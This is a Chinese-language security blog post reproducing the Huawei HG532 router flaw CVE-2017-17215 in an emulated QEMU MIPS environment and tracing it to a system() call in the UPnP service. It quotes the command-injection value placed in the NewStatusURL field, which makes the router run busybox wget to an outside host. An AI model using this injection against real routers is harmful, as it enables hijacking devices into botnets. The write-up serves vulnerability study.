*本文作者:kczwa1,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載。
1.基本信息:
2017/11/27,CheckPoint軟體技術部門報告了一個華為HG532產品的遠程命令執行漏洞(CVE-2017-17215),Mirai的升級版變種中已經使用該漏洞。看起來是個很簡單的漏洞了,書上得來終覺淺,須知此事要躬行,復現和分析的過程中遇到很多坑,寫文記錄一下詳細步驟。
華為已經發了漏洞公告,固件已經升級到HG532eV100R001C02B017_upgrade_main.bin。從論壇裡找到了帶漏洞版本件,HG532eV100R001C02B015_upgrade_main.bin。
分析環境是ubuntu16.04.
先用binwalk解壓一下:
根據CheckPoint的報告,漏洞點位於UPnP服務中,file命令看一下,可以看到upnp應該是跑在MIPS32位大端架構系統
2.配置復現環境:
安裝qemu:
sudoapt-getinstallqemu
sudoapt-getinstallqemu-user-static
sudoapt-getinstallqemu-system
安裝網絡配置工具:
apt-getinstallbridge-utilsuml-utilities
修改ubuntu主機網絡配置,將ubuntu主機系統中的網絡接口配置文件/etc/network/interfaces修改為如下內容:
創建QEMU的網絡接口啟動腳本(/etc/qemu-ifup)並保存為如下內容:
賦予文件/etc/qemu-ifup可執行權限:
sudochmoda+x/etc/qemu-ifup
重啟網絡使所有的配置生效:
sudo/etc/init.d/networkingrestart
關閉ens33,啟動橋連網絡br0
sudoifdowneth0
sudoifupbr0
從https://people.debian.org/~aurel32/qemu/mips/下載對應的debianmipsqemu鏡像
其他的帖子裡有各種下載qemu鏡像的地址,試了幾個下載都不好用,各種坑
我下載的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。
啟動qemu運行剛鏡像:
sudoqemu-system-mips-Mmalta-kernelvmlinux-2.6.32-5-4kc-malta-hdadebian_squeeze_mips_standard.qcow2-append"root=/dev/sda1console=tty0"-netnic,macaddr=00:16:3e:00:00:01-nettap
好的,假如一切順利,可以看到一個qemu虛擬機,用root/root登錄進去:
發現網絡不通,ifconfig-a看一下發現網絡接口為eth1:
將nano/etc/network/interfaces文件中的eth0改為eth1:
再用ifupeth1將eth1啟起來,運氣好的話此時網絡已經好了。
直接操作虛擬機顯然比較麻煩,在ubuntu上搞個SSH連進來,sshroot@虛擬機ip
將之前解壓的固件包拷貝到虛擬機裡面:
scp-r./squashfs-rootroot@虛擬機ip:/root/
完成搭建路由器固件運行的環境。
3.復現漏洞:
第一個問題是怎麼讓路由器裡的服務啟起來,我們也不知道是哪個文件會去處理80埠過來的請求,先看下checkpoint報告裡的payload
在固件文件夾下搜一下ctrlt和DeviceUpgrade_1,並沒有文件名含有這2個詞語,再搜下包含這2個詞語的文件:
找到固件所在的位置,想直接執行下upnp這個文件,報錯,缺少相應的so文件造成。
chroot/root/squashfs-root/bin/sh來切換根目錄到路由器文件系統,執行成功:
可是發包過去仍然失敗,應該是並沒有啟動監聽服務
那找下埠37215
埠號只出現在mic文件內,看下文件內容:
看字符串像是一個跟網絡服務相關的文件,試下運行一下:
看起來像是對了,
ubuntu上nc-vlp80監聽一下埠,跑一下exp,80埠收到路由器發來的wget請求包。
4.簡單分析:
分析一下upnp中的關鍵代碼:
根據上面payload圖,newstatusurl這個節點值為$(busyboxwget-gxxxx;xx;xx)
snprintf(a0,0x400,"upg-g-U%s-t'1FirmwareUpgradeImage'-cupnp-r%s-d-",a3)
其中a0是拷貝的源字符串的地址,同時a0又是system調用的第一個參數。所以最後會執行
system(a0)
如果看完整篇文章想上手試一下路由器漏洞的話,不要忘了當初你是為什麼放棄的.
*本文作者:kczwa1,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載。